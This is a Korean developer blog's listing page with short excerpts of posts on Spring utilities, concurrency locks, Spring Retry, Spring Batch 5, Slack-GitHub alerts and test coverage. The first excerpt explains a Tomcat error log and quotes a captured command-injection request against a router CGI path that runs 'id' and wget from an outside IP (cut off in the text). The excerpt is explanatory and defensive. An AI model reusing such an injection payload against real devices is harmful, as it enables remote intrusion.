승팡의 개발일지

최근 토이 프로젝트에 Grafana와 Loki를 활용해 로깅 및 모니터링을 설정하던 중, 흥미로운 에러 메시지를 발견했다.이 에러는 단순히 유효하지 않은 문자 때문에 발생한 것처럼 보이지만, 자세히 살펴보면 원격 코드 실행(RCE) 공격 시도로 인해 발생한 것을 알 수 있다.이번 글에서는 이 에러의 원인과 톰캣이 이를 어떻게 방어하는지에 대해 살펴보자.프로젝트에서 발견한 에러java.lang.IllegalArgumentException: Invalid character found in the request target[/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60wget+http%3A%2F%2F103.149.28.1..

공부/DevOps 2024. 6. 9. 20:06

Spring Framework Assert 클래스는 Java 애플리케이션에서 사용되는 유틸리티 클래스다.주로 메서드의 인수 유효성 검사와 같은 방어적 프로그래밍 기법을 지원한다.이 클래스는 다양한 정적 메서드를 제공하여 특정 조건이 만족되지 않을 경우 예외를 던지도록 한다.이러한 방법은 코드의 견고성을 높이고, 문제를 조기에 발견하여 디버깅을 용이하게 한다.public User(String username, VehicleIdentificationNumber vin) { Assert.hasLength(username, "Username must not be empty"); Assert.notNull(vin, "VIN must not be null"); this.username = usern..

공부/Spring 2024. 6. 5. 02:00

스프링 공식문서를 보다가 ThreadLocal에 주의사항에 대한 글을 봤다. ThreadLocal instances come with serious issues (potentially resulting in memory leaks) when incorrectly using them in multi-threaded and multi-classloader environments. You should always consider wrapping a ThreadLocal in some other class and never directly use the ThreadLocal itself (except in the wrapper class).Also, you should always remember to corr..

공부/Spring 2024. 5. 24. 23:32

이전 글에서 spring retry로 간단한 동시성을 해결했지만 완벽한 해결방법이 아니다.단일 서버가 아닌 다중 서버 환경에서는 동일한 데이터에 동시에 접근할 때 발생하는 동시성 문제는 낙관적 락과 spring retry로 해결하기에는 무리다.그래서 이번에는 분산락을 통한 동시성 해결을 확인해보자왜 분산락이 필요한가?낙관적 락 + 재시도(Spring retry)의 한계이전 글에서 낙관적 락과 Spring retry를 통해 DB 레벨에서 충돌 시 예외를 던지고 자동으로 재시도하는 방식을 시도했다.단일 서버에서는 일정 수준 동시성 충돌을 방어할 수 있지만 서버가 2대 이상으로 스케일 아웃되거나 트래픽이 폭주할 경우DB 예외가 계속 발생 -> 각 서버에서 재시도 반복 -> DB/애플리케이션 모두 과부하가 걸릴..

공부/Spring 2024. 5. 16. 19:15

Spring retry란?Spring Retry는 Spring 프레임워크의 일부로, 재시도 패턴을 쉽게 구현할 수 있게 해주는 라이브러리다.재시도 패턴은 일시적인 문제로 인해 실패한 작업을 자동으로 다시 시도함으로써, 애플리케이션의 안정성과 가용성을 향상시키는 데 유용하다.메시지 좋아요 기능에 낙관적 락과 Spring retry 적용해보기dependencies { ... implementation 'org.springframework.retry:spring-retry' implementation 'org.springframework:spring-aspects' ...}위와 같이 spring-retry 에 대한 dependency를 추가해준다. 그리고 Spring AOP를 추가해줘야 ..

공부/Spring 2024. 4. 11. 23:22

최근 스프링 배치를 사용하려고 했는데 spring batch 5버전이였다. 어떤점이 바뀌었나 궁금해서 찾아서 정리해봤다. Java 17 Spring Batch 5에서는 Spring Framework의 버전이 Spring Framework 6으로 업그레이드되며, 이는 Java 17을 필요로 한다. 따라서, Spring Batch의 Java 버전 요구사항도 Java 17로 증가하게 되었다. 주요 의존성 변경 Spring Framework 6 Spring Integration 6 Spring Data 3 Spring AMQP 3 Spring for Apache Kafka 3 Micrometer 1.10 GraalVM native 지원 GraalVM을 사용해서 Spring Batch에서 기본적으로 컴파일하는데 ..

공부/Spring Batch 2023. 9. 24. 00:23

여러명이서 사이드 프로젝트를 진행하다보면 사는게 바빠서 PR이 올라왔는지 안올라왔는지 확인 못할때가 있다. 일일히 PR올렸다고 말하기는 뭐하니 Slack을 이용하여 쉽게 PR이나 이슈에 대한 알림을 받도록 했다. Github app 설치 Slack에 Github app이 설치되어 있지 않다면 설치해야한다. 왼쪽 상단에 더보기를 눌러서 앱을 선택한다. 위에 사진과 같이 추가 버튼을 눌러서 액세스 권한을 설정에 맡게 허용만 하면 준비는 끝이다. Project Repository와 연결하기 Github 알림을 받을 채널로 이동한 후 아래와 같이 알림을 받을 Repository를 구독하겠다는 명령을 한다. Connect Github account를 하라는 메시지가 나오고 Github 계정으로 로그인하여 인증번호..

공부/DevOps 2023. 9. 5. 22:25

테스트 코드를 작성하다 보면 어떤 테스트들이 부족한지 확인하고 싶을 때가 있다. 어떻게 확인할 수 있을까?? 의외로 방법은 간단하다. Project > test > java에서 우클릭한 후 > More Run/Debug > Run ... with Coverage를 실행하면 된다. 실행한 결과는 아래와 같다. 몇 개의 Method가 테스트되고 있는지부터 어느 라인이 테스트 커버가 되고 있는지를 확인할 수 있다. 이렇게 확인하면서 부족한 테스트를 찾아가면서 보완할 수 있다. 여기서 꿀팁은 한 가지 옵션을 추가하면 더 꼼꼼한 테스트 코드를 작성할 수 있다. 그것은 바로바로!! 브랜치 커버리지를 확인하는 것이다. 브랜치 커버리지란 만약 true/false를 반환하는 조건문이 있다면 이 두 개를 다 테스트해야만 ..

공부/IDE 2022. 11. 16. 23:28